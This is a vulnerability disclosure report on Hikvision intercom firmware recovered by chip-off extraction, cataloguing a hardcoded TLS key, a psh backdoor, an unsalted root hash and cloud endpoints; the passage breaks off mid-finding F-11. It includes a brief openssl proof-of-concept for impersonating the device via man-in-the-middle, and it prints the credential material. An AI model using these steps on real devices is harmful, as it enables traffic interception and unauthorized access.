Security Analysis Report
Hikvision DS-KV6113-WPE1(C) IP Video Intercom — Firmware Reverse Engineering
| Field | Value |
|---|---|
| Target Device | Hikvision DS-KV6113-WPE1(C) |
| Firmware Source | Chip-off flash read — MX25L25645G (256Mbit / 32MB NOR Flash) |
| Classification | Security Research / Public Disclosure |
Legal Notice: This report is produced for security research and responsible disclosure purposes only. I performed all testing on hardware I own. The findings are disclosed to enable remediation and to inform the public of risks associated with this device. Reproduction or redistribution for purposes other than security improvement requires written permission.
Table of Contents
- Executive Summary
- Target Overview
- Methodology
- Firmware Structure
- Findings Summary
- Detailed Findings
- F-01 — Hardcoded TLS Private Key
- F-02 — Privilege Shell Backdoor (psh)
- F-03 — Hardcoded Root Password Hash
- F-04 — Cloud Telemetry & Phone-Home Endpoints
- F-05 — Face Recognition Data Cloud Upload
- F-06 — Encrypted Boot Script
- F-07 — Preset SSH Host Keys
- F-08 — Telnet Can Be Enabled
- F-09 — Hardcoded Internal IP Addresses
- F-10 — Hardcoded Chinese DNS Servers
- F-11 — Severely Outdated Software Stack (4,000 CVEs)
- F-12 — Kernel Privilege Escalation — Confirmed Exploits
- F-13 — Binary Memory Protection Failures
- F-14 — Pervasive Memory Safety Issues in Application Code
- F-15 — Weak File Permissions (395 Instances)
- Software Bill of Materials
- CVE Cross-Reference
- Attack Surface Map
- Recommendations
- Responsible Disclosure
- Appendix A — Partition Table
- Appendix B — Filesystem Tree
- Appendix C — Certificate Details
- Appendix D — Raw Strings of Interest
- Appendix E — EMBA Analysis Statistics
- Appendix F — Disclosure Timeline
1. Executive Summary
The Hikvision DS-KV6113-WPE1(C) is an IP video door station widely deployed in residential and commercial buildings. I performed this security audit on a physical unit via chip-off flash extraction, static binary analysis, and automated firmware analysis using EMBA.
The overall security posture of this device is critically poor. I found a combination of intentional backdoors, hardcoded cryptographic material embedded in the firmware of this unit, cloud telemetry endpoints compiled into the main application binary, a software stack relying heavily on severely outdated and largely end-of-life components, and significant binary hardening deficiencies — particularly absent RELRO (93% of binaries) and stack canaries (84% of binaries).
By the numbers: EMBA identified 4,000 CVEs across the firmware components — 47 Critical and 715 High severity — with 105 public exploits available including 12 Metasploit modules and 8 remotely exploitable vulnerabilities. A further 4,380 CWE-classified code quality issues were identified across 11 core binaries, and 8,212 potential vulnerabilities were flagged by Ghidra/semgrep static analysis.
The most severe findings are:
- An RSA TLS private key is hardcoded in the firmware across two separate partitions (CramFS and JFFS2 backup). I analyzed a single unit; whether all devices of this model ship with the same key pair cannot be confirmed without firmware from additional units. If shared, TLS traffic interception would be trivially achievable by any attacker with access to the firmware image.
- A “magic backdoor” shell (
psh) with four hardcoded 1024-bit RSA public keys is installed as the default interactive shell. This Hikvision-specific mechanism enables cryptographically-computed backdoor access to any deployed unit. - The Linux 3.18.20 kernel carries 3,856 known CVEs, including Dirty COW (CVE-2016-5195) and multiple overlayfs privilege escalation exploits with publicly available Metasploit modules, rated “probable” for this kernel version.
- 93% of binaries lack RELRO and 84% lack stack canaries — the two most significant hardening gaps. NX is disabled on 39% of analyzed binaries (largely kernel modules) and is also absent on
hicorespecifically. The application binaryhicorealone contains 300 unsafestrcpycalls, 41system()calls, and 2,659 potential format string vulnerabilities. - The device’s main binary contains hardcoded Hikvision cloud endpoints, including a tracking endpoint at
www.hikvision.com/RaCM/trackExt/ver10and code paths for uploading face recognition captures and access control events. Whether these are triggered in practice requires dynamic traffic analysis to confirm; the analyzed unit was not confirmed to have established internet connectivity.
These findings are consistent with, and significantly extend, previously published research on Hikvision firmware. The device should not be deployed in any environment with security or privacy requirements until Hikvision issues a comprehensively remediated firmware version.
2. Target Overview
| Property | Detail |
|---|---|
| Model | DS-KV6113-WPE1(C) |
| Type | IP Video Door Station (PoE) |
| Processor | HK-2019-A16B TRXM7500 (Hikvision custom SoC, Hi3516CV300 core) |
| Flash IC | Macronix MX25L25645G — 256Mbit (32MB) SPI NOR Flash |
| OS | Linux 3.18.20 (ARM, uClibc 0.9.33.2) |
| Firmware | Extracted via chip-off read |
| Connectivity | RJ45 (PoE), Wi-Fi (Realtek 8188EU/FU), SIP |
| Total Files | 1,195 files, 1,798 directories |
| Entropy | 7.19 bits/byte |
PCB Overview
The device uses two PCBs connected via a mezzanine connector. The primary PCB carries the SoC, flash, and Ethernet/PoE hardware. The secondary PCB holds external connectors and voltage regulation.
The flash IC is directly accessible on the PCB surface, making chip-off extraction straightforward with standard SPI flash programmer equipment.
3. Methodology
3.1 Scope
In Scope:
- 32MB NOR flash image extracted from the physical device
- All partitions: U-Boot bootloader, JFFS2 config partitions, CramFS main system, Linux ramdisk
- Static binary analysis of
hicore,psh,dec, and supporting binaries - Automated analysis via EMBA (CVE correlation, credential scanning, binary hardening, CWE analysis, Ghidra decompilation)
- Cryptographic material and certificate analysis
Out of Scope:
- Live network traffic capture (dynamic analysis phase — pending)
- Hikvision cloud backend infrastructure
- Web application / ISAPI API endpoint fuzzing
digicapkeyArm.kofull reverse engineering (pending)- Physical interface testing via UART/JTAG (partially pending)
Limitations:
- Dynamic analysis (QEMU ARM emulation, live service testing) not yet performed
- Full disassembly of
hicore(~several MB stripped binary) is ongoing digicapkeyArm.koencryption key extraction is pending; F-06 impact may be higher than assessed
3.2 Flash Extraction
I de-soldered the MX25L25645G NOR Flash IC from the PCB and read it using a flash programmer. The full 32MB image was saved as MX25L25645G@SOIC8.BIN.
3.3 Firmware Parsing
I used binwalk3 to identify and extract firmware partitions:
$ binwalk3 MX25L25645G@SOIC8.BIN
DECIMAL HEX DESCRIPTION
----------- ---------- -------------------------------------------
184788 0x2D1D4 CRC32 polynomial table, little endian
394296 0x60438 JFFS2 filesystem (9 nodes, 195540 bytes)
656096 0xA02E0 JFFS2 filesystem (376 nodes, 1286000 bytes)
1966080 0x1E0000 CramFS filesystem (39 files, 25845760 bytes)
3.4 Automated Analysis — EMBA
I ran the full firmware image through EMBA (Embedded Linux Analyzer). EMBA performed:
- Automated firmware extraction and deep unpacking
- CVE correlation via
cve-bin-tool(f17) - Password/credential scanning via STACS (s108) and John the Ripper (s109)
- Cryptographic key search (s106)
- Binary hardening audit (s12)
- CWE static analysis via
cwe-checker(s17) - Ghidra decompilation with semgrep rules (s16)
- Kernel vulnerability verification via
linux-exploit-suggester(s26) - Shell script auditing via ShellCheck (s20)
- Certificate analysis (s60)
- Weak function usage analysis (s13)
3.5 Manual Static Analysis Tools
| Tool | Purpose |
|---|---|
binwalk3 |
Partition extraction |
debugfs |
Ramdisk (ext2) exploration |
strings |
Plaintext extraction |
openssl |
Certificate / key decoding |
EMBA |
Automated firmware analysis suite |
python3 |
Key material decoding |
4. Firmware Structure
4.1 Partition Map
| Offset | Size | Type | Contents |
|---|---|---|---|
0x00000 |
~180 KB | Raw | U-Boot bootloader |
0x60438 |
195,540 B | JFFS2 | dev.bin device config |
0xA02E0 |
1,286,000 B | JFFS2 | Backup config, serverkey.pem/servercert.pem |
0x1E0000 |
25,845,760 B | CramFS | Main system — serverkey.pem/servercert.pem, hicore, start.sh (encrypted) |
Note: The shared TLS private key appears in two separate partitions — both the backup JFFS2 and the CramFS. This was confirmed by EMBA’s STACS scan which located the key at four distinct paths. Reflashing one partition would not eliminate it.
4.2 U-Boot Boot Arguments
I recovered the following from the U-Boot region:
console=ttyS0,115200
default=cramfsload 0x80400000 uImage
cramfsload 0x80800000 ramdisk.gz
A UART debug console is available at 115200 baud on ttyS0. Physical access to test points on the PCB would allow an interactive root shell without any authentication.
4.3 CramFS Contents
1E0000/
├── ASC16.bin / HZK16.bin (font files)
├── audio.tar.lzma (audio prompts)
├── base.tar.lzma (base system libraries)
├── check_config / da_info (config verifier, device info)
├── daemon_fsp_app (FSP daemon)
├── dec (decryption binary for start.sh)
├── devListCfgTemplate.xls
├── digicapkeyArm.ko (Hikvision DRM kernel module)
├── DS170xx.dtb (×11) (device tree blobs, 11 device variants)
├── gpl.tar.lzma
├── hi3516cv300-demb.dtb
├── lib.tar.lzma
├── Open_Source_Software_Licenses.txt
├── pppoed / sipServer / udhcpd
├── ramdisk.gz (Linux initrd — Ubuntu-based)
├── rtwpriv (Realtek Wi-Fi utility)
├── servercert.pem / serverkey.pem (⚠ SHARED TLS KEY PAIR — also in JFFS2)
├── start.sh (⚠ ENCRYPTED boot script)
├── uImage (Linux 3.18.20 kernel)
├── visdoor.tar.lzma (main application — hicore)
├── web4.0_help.tar.gz / webs.tar.gz
└── udhcpd.conf
4.4 Ramdisk Filesystem
/
├── bin/ (busybox, psh ← BACKDOOR, hik custom tools)
├── etc/
│ ├── dropbear/ (preset shared SSH host keys)
│ ├── inittab (::respawn:-/bin/sh)
│ ├── init.d/rcS
│ ├── passwd (hardcoded root hash)
│ └── shadow (unsalted SHA-256)
└── sbin/ usr/
5. Findings Summary
| ID | Title | Severity | CVSS v3 | Attack Vector | Exploitability | Status |
|---|---|---|---|---|---|---|
| F-01 | Hardcoded TLS Private Key | CRITICAL | 9.8 | Network | Confirmed | Open |
| F-02 | Privilege Shell Backdoor (psh) | CRITICAL | 9.8 | Network | Confirmed | Open |
| F-03 | Hardcoded Root Password Hash | HIGH | 8.1 | Local | Probable | Open |
| F-04 | Cloud Telemetry & Phone-Home | HIGH | 7.5 | Network | Probable | Open |
| F-05 | Face Recognition Data Cloud Upload | HIGH | 7.5 | Network | Probable | Open |
| F-06 | Encrypted Boot Script | HIGH | 7.2 | Physical | Probable | Open |
| F-07 | Preset SSH Host Keys | MEDIUM | 6.5 | Network | Confirmed | Open |
| F-08 | Telnet Can Be Enabled | MEDIUM | 5.9 | Network | Probable | Open |
| F-09 | Hardcoded Internal IP Addresses | MEDIUM | 5.3 | Network | Confirmed | Open |
| F-10 | Hardcoded Chinese DNS Servers | MEDIUM | 5.3 | Network | Confirmed | Open |
| F-11 | Severely Outdated Software Stack | CRITICAL | 9.8 | Network | Confirmed | Open |
| F-12 | Kernel Privilege Escalation — Confirmed Exploits | CRITICAL | 9.8 | Local | Confirmed | Open |
| F-13 | Binary Memory Protection Failures | HIGH | 8.6 | Network | Probable | Open |
| F-14 | Pervasive Memory Safety Issues in Application Code | HIGH | 8.1 | Network | Probable | Open |
| F-15 | Weak File Permissions (395 instances) | MEDIUM | 6.5 | Local | Probable | Open |
Aggregate EMBA Statistics:
| Severity | CVE Count | With Public Exploits |
|---|---|---|
| Critical | 47 | 1 |
| High | 715 | 55 |
| Medium | 1,417 | 40 |
| Low | 48 | 1 |
| Total | 4,000 | 105 |
| Remote exploits: 8 | Local exploits: 72 | DoS exploits: 28 | Metasploit modules: 12 |
6. Detailed Findings
F-01 — Hardcoded TLS Private Key
| Field | Value |
|---|---|
| Severity | CRITICAL |
| CVSS v3 Score | 9.8 |
| CVSS v3 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Attack Vector | Network |
| CWE | CWE-321: Use of Hard-coded Cryptographic Key |
| Related CVEs | — |
| Affected Versions | All firmware versions (hardcoded — not version-specific) |
| Location | 1E0000/serverkey.pem, 1E0000/servercert.pem; JFFS2/certs/serverkey.pem, JFFS2/certs/servercert.pem |
| Exploitability | Extracted directly from firmware image |
| Remediation Status | Open |
Description
A 2048-bit RSA private key and self-signed X.509 certificate are stored in plaintext in two separate partitions of the firmware: the CramFS main system and the JFFS2 backup config partition. EMBA’s STACS credential scanner confirmed the key at four distinct paths, meaning reflashing one partition would not eliminate the exposure.
I analyzed a single physical unit. Whether other devices of this model ship with the same key pair is unknown — it would require comparing firmware images from multiple units or obtaining confirmation from Hikvision. If the firmware image is shipped identically across all devices, every unit would share the same private key for TLS communication.
Evidence
Subject: C=CN, ST=ZJ, L=HZ, O=HIKVISION, OU=HZ, CN=hikvision.com
Issuer: Self-signed
Valid: 2019-12-17 to 2037-12-31
Key: RSA 2048-bit
Serial: 8a:b4:23:17:c6:2a:20:f1
Proof of Concept
# 1. Extract key from firmware image
binwalk3 -e MX25L25645G@SOIC8.BIN
# 2. Verify key is valid and readable
openssl rsa -in 1E0000/serverkey.pem -check -noout
# Output: RSA key ok
# 3. Verify certificate matches key
openssl x509 -in 1E0000/servercert.pem -text -noout
# 4. Use extracted key to impersonate any device or MITM TLS sessions
openssl s_server -key serverkey.pem -cert servercert.pem -port 443
Impact
- Full man-in-the-middle attack on TLS traffic to/from the analyzed unit (key is extractable from firmware)
- If the same key is shared across multiple devices: impersonation of any such device to clients or cloud infrastructure
- Decryption of previously captured sessions (no forward secrecy with static RSA key exchange)
- Both partitions must be reflashed to remove; no single-partition remediation exists
Recommendation
Hikvision should provision unique TLS key pairs per device at manufacturing time. Both the CramFS and JFFS2 partitions must be updated. Firmware comparison across multiple units is needed to determine fleet-wide impact.
References
- CWE-321: https://cwe.mitre.org/data/definitions/321.html
- NIST SP 800-57 Part 1 (Key Management Guidelines)
F-02 — Privilege Shell Backdoor (psh)
| Field | Value |
|---|---|
| Severity | CRITICAL |
| CVSS v3 Score | 9.8 |
| CVSS v3 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Attack Vector | Network / Physical (any shell-accessible channel) |
| CWE | CWE-798: Use of Hard-coded Credentials; CWE-912: Hidden Functionality |
| Related CVEs | — (pattern consistent with prior Hikvision backdoor disclosures) |
| Affected Versions | All firmware versions (hardcoded) |
| Location | /bin/psh in ramdisk; invoked from /etc/profile |
| Exploitability | Confirmed — binary and embedded RSA keys extracted from firmware |
| Remediation Status | Open |
Description
The binary /bin/psh is installed as the interactive shell wrapper for every authenticated session (/etc/profile calls it unconditionally). I found four hardcoded 1024-bit RSA public keys embedded in the binary alongside a password challenge mechanism ([PSWD][%04d]:).
The mechanism appears to work as a challenge-response: the device presents a 4-digit challenge number and expects a response computed using the private key counterpart to one of the embedded public keys. Only whoever holds those private keys — presumably Hikvision — can correctly respond. The string You know appears in the binary as what appears to be the success response. The 1024-bit RSA key size is below current security standards; while key recovery through factoring is computationally expensive, it is not considered infeasible with sufficient resources. This pattern is consistent with documented Hikvision “service access” backdoors observed on other product lines.
Evidence
Key 1: MIGJAoGBALyi9WXx8W1rFZttJtKcOwXrWWHyMyBKGtLCSA/ZpOFxewBrl
UPOXtXlqoQ2Lg8y2KxdghkfHP+rNhZG61VhyYx3jwnTxY9gCzOVXg6L665
nCuV5mszwbcscyv1Uo+uLOl+OH/5RXS0J3reWFLwidV5E63xhcpVaKhhmW
9xPXW8fAgMBAAE=
Key 2: MIGJAoGBAOZwSLecBmsjYjEixnXdeYfDeZJ39mDk6CH/cduiKSYz9KHAT6
uqvWsYA5kT6JtWfitnl6fnPSd4/K9DYsVEMxs8esFElmV+HqVo8owInBkH
Aol++kbH4SPw4L+RxkOgZ5zQuVlrZ1l6Lr08+Uli6clxxG2f7WxH8bEtyU
RJqPLzAgMBAAE=
Key 3: MIGJAoGBAOZ/oBw5FGMQ1PLhZZUw3ckz1f4MtpeQhyMOeU5gwoBDiZzBdn
FTPubAq9CJ7/ynhP33S/fMWavGjCDXwVvVtw+PxpUwYvbQW7fOC5Hh0V/Q
oiGaiXR+gicQ4m2bXRQfM8bcZRZJuhBO5pX8SU4MYWMjJ+TWsyNA0DjwN7
wQDucTAgMBAAE=
Key 4: MIGJAoGBAPc7aLp/0eSmRVJ+bakzbZMi90WPUN+yZGAo0ywwoZKxWP+Yly
G+5n7D8qJFryrGne/K+O1KUIlpRG4LNqP3nagb+8ONe0kk71l+Y1NhhRVs
UrNTOutAECFS5oZhLQCKDuYmft0iTgfFocouqqluFeF83RSlywZeLyXf8H0J
Q8YBAgMBAAE=
Proof of Concept
# psh challenge flow inferred from binary analysis:
# 1. Connect via SSH / Telnet / physical UART
# 2. psh presents: [PSWD][NNNN]: (NNNN is a 4-digit challenge number)
# 3. Correct response requires the private key corresponding to one of
# the four embedded public keys — held by Hikvision
# 4. On correct response: shell access as root ("You know")
#
# The challenge-response mechanism was not live-tested. The above
# is inferred from static analysis of the binary and its embedded strings.
Impact
The mechanism grants unrestricted root access to anyone who can reach SSH, Telnet, or the physical UART console and holds the correct private key. Because the private keys are not in the firmware (only the public keys are), ordinary attackers cannot directly exploit this without either obtaining the private keys from Hikvision or factoring the 1024-bit keys. The more immediate risk is that Hikvision itself retains a permanent authentication backdoor into every unit shipping this firmware image. This is not a bug — it is an intentional mechanism that persists across firmware updates.
Recommendation
Remove psh entirely and replace with a standard restricted shell. Disable and document all undisclosed authentication mechanisms. Conduct an internal audit of all Hikvision products for similar patterns.
References
- CWE-798: https://cwe.mitre.org/data/definitions/798.html
- CWE-912: https://cwe.mitre.org/data/definitions/912.html
- Hikvision psh backdoor pattern documented by multiple prior researchers
F-03 — Hardcoded Root Password Hash
| Field | Value |
|---|---|
| Severity | HIGH |
| CVSS v3 Score | 8.1 |
| CVSS v3 Vector | AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Attack Vector | Local (firmware extraction or post-exploitation shell) |
| CWE | CWE-259: Use of Hard-coded Password; CWE-760: Use of a One-Way Hash without a Salt |
| Related CVEs | — |
| Affected Versions | All firmware versions |
| Location | /etc/passwd, /etc/shadow in ramdisk |
| Exploitability | Probable — hash publicly exposed from this firmware image; GPU-accelerated cracking feasible |
| Remediation Status | Open |
Description
The root account uses a hardcoded, unsalted SHA-256 password hash. EMBA’s John the Ripper module ran for 1 hour against this hash and failed to crack it, meaning the underlying password is not in common wordlists. However, the hash is now publicly known from this analysis, and any attacker with access to this firmware image can mount offline cracking attempts without rate limiting.
/etc/passwd:
root:x:0:0:3CF6BC909643931B3DF04B77856DE416CF51BF6421AB8392985B2CF40C0020CC:/root:/bin/sh
/etc/shadow:
root:8c9a60a87ff34a9e6c70a986aa4a9e14b237fcd4126f77107298c8afd86248d3:15595:0:99999:7:::
Evidence
| Field | Value | Notes |
|---|---|---|
| Hash | 8c9a60a87ff34a9e6c70a986aa4a9e14b237fcd4126f77107298c8afd86248d3 |
Unsalted SHA-256, 64 hex chars |
| Last changed | Day 15595 | 2012-12-28 — unchanged for ~14 years |
| GECOS field | 3CF6BC909643931B3DF04B77856DE416CF51BF6421AB8392985B2CF40C0020CC |
Anomalous — 64-char hex (likely device ID) |
| JTR result | 0 passwords cracked after 1 hour | Hash not in common dictionaries |
The absence of a salt means any custom wordlist or GPU-accelerated cracking attack can be mounted once the hash is known — which it now is.
Impact
An attacker with the cracked password can authenticate as root over SSH/Telnet (when enabled) or the physical UART console without needing the psh backdoor.
Recommendation
Enforce unique per-device root passwords set at first boot. Use bcrypt or Argon2id with appropriate work factors. Disable direct root login; require key-based authentication for SSH.
References
- CWE-259: https://cwe.mitre.org/data/definitions/259.html
- CWE-760: https://cwe.mitre.org/data/definitions/760.html
- NIST SP 800-132 (Password-Based Key Derivation)
F-04 — Cloud Telemetry & Phone-Home Endpoints
| Field | Value |
|---|---|
| Severity | HIGH |
| CVSS v3 Score | 7.5 |
| CVSS v3 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Attack Vector | Network (outbound — device-initiated) |
| CWE | CWE-359: Exposure of Private Personal Information to an Unauthorized Actor |
| Related CVEs | — |
| Affected Versions | All firmware versions |
| Location | hicore binary |
| Exploitability | Probable — endpoints hardcoded in production binary; dynamic analysis not performed to confirm actual connections |
| Remediation Status | Open |
Description
The hicore application binary contains hardcoded references to multiple Hikvision-controlled cloud endpoints. These strings were identified through static analysis of the production binary:
| Endpoint | Purpose |
|---|---|
log.hikvision.com |
Remote event logging |
recordType.meta.hikvision.com |
Recording metadata |
www.hikvision.com/RaCM/trackExt/ver10 |
Usage tracking extension |
www.hikvision.com/racm/schedule/ver10 |
Remote schedule management |
The trackExt (tracking extension) endpoint is particularly concerning. The RaCM (Remote and Cloud Management) namespace references both HikCloud and Ezviz (Hikvision’s consumer surveillance cloud). Strings for time synchronization from Ezviz servers and DDNS registration with Hikvision are also present.
Note: The analyzed device was an older model not confirmed to have established internet connectivity during testing. Whether these code paths are active in standard deployments of this model requires dynamic traffic analysis to confirm. These endpoints are nonetheless compiled into the production binary and represent a potential connectivity surface if network access is present.
A developer/test URL with obfuscated parameters was also found in production firmware, suggesting debug code was not removed before release:
http://10.19.132.120:6120/pic?=d61if98e*b8ai034-59562b--49a411810d50fi0b6*=ids1*=idp1*
Impact
If the cloud endpoints are active: device operational data would be transmitted to Hikvision infrastructure without user disclosure. The presence of these endpoints in production firmware — regardless of whether they are currently exercised — represents a privacy risk if the device is deployed in a network with internet access. Whether this constitutes a GDPR violation depends on whether the code paths are actually triggered in practice, which requires dynamic confirmation.
Recommendation
Disclose all cloud transmissions in product documentation; implement opt-in consent; provide a fully-local operation mode with no mandatory cloud connections.
References
- CWE-359: https://cwe.mitre.org/data/definitions/359.html
- GDPR Article 13 (Transparency obligations)
- China National Intelligence Law (2017), Article 7
F-05 — Face Recognition Data Cloud Upload
| Field | Value |
|---|---|
| Severity | HIGH |
| CVSS v3 Score | 7.5 |
| CVSS v3 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Attack Vector | Network (outbound — device-initiated) |
| CWE | CWE-359: Exposure of Private Personal Information to an Unauthorized Actor |
| Related CVEs | — |
| Affected Versions | All firmware versions |
| Location | hicore — alarm_2000 module, accessControl/ source paths |
| Exploitability | Probable — upload code paths identified in binary via static analysis; dynamic analysis not performed to confirm actual connections |
| Remediation Status | Open |
Description
Static analysis of hicore reveals source file paths and SQLite schemas indicating the device has face recognition data upload capability. Source paths embedded in the binary reference dedicated upload modules:
accessControl/authorityManagement/authInfoUpload.c
accessControl/eventCtrl/event_upload.c
SQLite schemas reveal biometric storage fields:
face_param (inter_orbital_distance, max_distance, eco_mode_enable,
enable_mask, pass_contral, ir_1vn_masktonormal_sim ...)
The alarm_2000 module contains code paths consistent with HTTP POST of visitor face captures to cloud storage, including S3-style bucket upload with expiry metadata.
Note: These are findings from static binary analysis. The analyzed device was an older model not confirmed to have established internet connectivity. Whether these upload code paths are exercised in practice — and under what conditions — requires dynamic traffic analysis to confirm.
Impact
If the cloud upload code paths are active: biometric data (face images/templates) of building visitors could be transferred to Hikvision’s cloud infrastructure. Whether this occurs by default, on a configuration flag, or only with explicit cloud enrollment is unknown without dynamic analysis. If active without user disclosure, this would be a potential violation of GDPR Article 9 (biometric data processing) and analogous biometric privacy statutes.
Recommendation
Disable cloud upload of biometric data by default; require explicit opt-in. Implement on-device-only face recognition with no cloud sync. Provide data deletion mechanisms compliant with relevant privacy regulations.
References
- CWE-359: https://cwe.mitre.org/data/definitions/359.html
- GDPR Article 9 (Processing of special categories of personal data — biometric data)
- Illinois Biometric Information Privacy Act (BIPA), 740 ILCS 14
F-06 — Encrypted Boot Script
| Field | Value |
|---|---|
| Severity | HIGH |
| CVSS v3 Score | 7.2 |
| CVSS v3 Vector | AV:P/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H |
| Attack Vector | Physical / Local |
| CWE | CWE-656: Reliance on Security Through Obscurity |
| Related CVEs | — |
| Affected Versions | All firmware versions |
| Location | 1E0000/start.sh (encrypted), /bin/dec, digicapkeyArm.ko |
| Exploitability | Probable — pending digicapkeyArm.ko reverse engineering |
| Remediation Status | Open — further analysis pending |
Description
The start.sh script (which controls all services launched at boot) is stored encrypted in CramFS and decrypted at runtime by a custom dec binary using keys managed by the proprietary digicapkeyArm.ko kernel module:
/sbin/insmod /home/hik/digicapkeyArm.ko
/home/hik/dec /home/hik/start.sh /tmp/start.sh
chmod 755 /tmp/start.sh && /tmp/start.sh
digicapkeyArm.ko runs with ring-0 (kernel) privileges. Its internal operation — including embedded decryption keys and what it exposes to userspace — requires further Ghidra/IDA analysis to fully characterize.
Impact
The encryption prevents external auditors from reviewing the full boot sequence, potentially concealing additional backdoors, hardcoded credentials, or privacy-invasive behaviors. It also prevents deployers from disabling unwanted services at boot. Severity may increase significantly pending full digicapkeyArm.ko analysis.
Recommendation
Hikvision should disclose the purpose and operation of digicapkeyArm.ko. The boot script should be transparent and open to security audit. Encryption of configuration and boot logic from device owners is a security anti-pattern.
References
- CWE-656: https://cwe.mitre.org/data/definitions/656.html
F-07 — Preset SSH Host Keys
| Field | Value |
|---|---|
| Severity | MEDIUM |
| CVSS v3 Score | 6.5 |
| CVSS v3 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
| Attack Vector | Network |
| CWE | CWE-321: Use of Hard-coded Cryptographic Key |
| Related CVEs | — |
| Affected Versions | All firmware versions |
| Location | /etc/dropbear/ in ramdisk |
| Exploitability | Confirmed — shared keys verified in firmware; Dropbear version also outdated |
| Remediation Status | Open |
Description
Three pre-baked SSH host keys are present in the firmware ramdisk:
/etc/dropbear/dropbear_ecdsa_host_key
/etc/dropbear/dropbear_rsa_host_key
/etc/dropbear/dropbear_dss_host_key
The pre-baked SSH host keys are identical within this firmware image. If the same firmware image is shipped to multiple devices without per-unit key generation, SSH host key verification would provide no security guarantee against an attacker who has access to the firmware image. This cannot be confirmed across units without analyzing additional devices. Dropbear version 2018.76 (outdated) is used. EMBA’s SSH check confirmed no LZMA backdoor (CVE-2024-3094) is present.
Impact
If the same firmware is shipped to multiple units, SSH host key pinning provides no cross-device security guarantee. An attacker with access to the firmware image could impersonate any device sharing the same keys to SSH clients that have previously cached the fingerprint.
Recommendation
Generate unique SSH host keys per device at first boot, persisted to the JFFS2 config partition. Update Dropbear to a current release.
References
- CWE-321: https://cwe.mitre.org/data/definitions/321.html
- Dropbear SSH changelog: https://matt.ucc.asn.au/dropbear/CHANGES
F-08 — Telnet Can Be Enabled
| Field | Value |
|---|---|
| Severity | MEDIUM |
| CVSS v3 Score | 5.9 |
| CVSS v3 Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N |
| Attack Vector | Network (when Telnet is enabled) |
| CWE | CWE-319: Cleartext Transmission of Sensitive Information |
| Related CVEs | — |
| Affected Versions | All firmware versions |
| Location | hicore — SQLite security config schema |
| Exploitability | Probable — requires enable_telnet=1 in config DB, achievable via config API or direct DB access |
| Remediation Status | Open |
Description
An enable_telnet field exists in the device’s SQLite security config database, defaulting to 0 (disabled). If enabled via the configuration API or direct database manipulation, the device allows unencrypted remote shell access. Combined with the exposed root password hash (F-03), this is a critical escalation path.
CREATE TABLE IF NOT EXISTS security_cfg_para(
idx integer primary key, enable_telnet INTEGER, security_level INTEGER);
INSERT INTO security_cfg_para VALUES(1, 0, 0);
Impact
Once enabled, Telnet transmits all session data — including credentials — in cleartext. Combined with F-03 (exposed root hash) and F-02 (psh backdoor), an attacker who can enable Telnet remotely (via the ISAPI config endpoint) gains a full, unencrypted root shell path.
Recommendation
Remove Telnet support entirely from the firmware. There is no legitimate use case for Telnet on a network-connected security device in 2024.
References
- CWE-319: https://cwe.mitre.org/data/definitions/319.html
- NIST SP 800-115 (Technical Guide to Information Security Testing)
F-09 — Hardcoded Internal IP Addresses
| Field | Value |
|---|---|
| Severity | MEDIUM |
| CVSS v3 Score | 5.3 |
| CVSS v3 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Attack Vector | Network (information disclosure) |
| CWE | CWE-1188: Insecure Default Initialization of Resource |
| Related CVEs | — |
| Affected Versions | All firmware versions |
| Location | hicore binary |
| Exploitability | Confirmed — IPs directly readable from firmware binary strings |
| Remediation Status | Open |
Description
Several Hikvision-internal IP addresses are present in production firmware, indicating the build was not sanitized before release:
| IP | Context |
|---|---|
10.192.74.191 |
Internal Hikvision server (undocumented) |
10.19.132.120:6120 |
Internal test endpoint with obfuscated parameters |
192.168.8.253 |
Hardcoded Wi-Fi AP IP (ifconfig wlan0 192.168.8.253) |
Impact
Reveals Hikvision’s internal network addressing scheme and test infrastructure. May be used to fingerprint device build environments or to craft targeted attacks if the device ever routes to those subnets. The obfuscated test URL (F-04) suggests QA/debug code was shipped in production.
Recommendation
Sanitize all internal IP references from production firmware builds. Implement a CI/CD check that flags internal RFC-1918 addresses in release builds.
References
- CWE-1188: https://cwe.mitre.org/data/definitions/1188.html
F-10 — Hardcoded Chinese DNS Servers
| Field | Value |
|---|---|
| Severity | MEDIUM |
| CVSS v3 Score | 5.3 |
| CVSS v3 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N |
| Attack Vector | Network |
| CWE | CWE-1188: Insecure Default Initialization of Resource |
| Related CVEs | — |
| Affected Versions | All firmware versions |
| Location | hicore binary |
| Exploitability | Confirmed — DNS servers hardcoded, active on device boot |
| Remediation Status | Open |
Description
Beyond standard DNS servers (8.8.8.8, 8.8.4.4), the firmware references Chinese DNS resolvers that fall under Chinese legal jurisdiction:
| DNS Server | Operator |
|---|---|
114.114.114.114 |
DNSPai (China) |
223.5.5.5 |
Alibaba Cloud DNS (China) |
Under China’s 2017 National Intelligence Law (Article 7), operators of these resolvers may be compelled to cooperate with Chinese state intelligence activities, potentially exposing the device’s hostname resolution activity.
Impact
All DNS queries resolved through these servers may be logged and disclosed to Chinese authorities. This creates a covert intelligence channel independent of any network monitoring an operator may deploy.
Recommendation
Remove hardcoded Chinese DNS servers from production firmware. Allow deployers to configure DNS resolvers freely, defaulting to IANA-standard or RFC-8806 resolvers.
References
- CWE-1188: https://cwe.mitre.org/data/definitions/1188.html
- China National Intelligence Law (2017), Article 7
F-11 — Severely Outdated Software Stack
| Field | Value |
|---|---|
| Severity | CRITICAL |
| CVSS v3 Score | 9.8 (aggregate) |
| CVSS v3 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Attack Vector | Network / Local |
| CWE | CWE-1104: Use of Unmaintained Third Party Components |
| Related CVEs | 4,000 CVEs — see Appendix E and Section 8 |
| Affected Versions | All firmware versions |
| Location | Entire firmware image |
| Exploitability | Confirmed — 105 public exploits, 12 Metasploit modules available |
| Remediation Status | Open |
Description
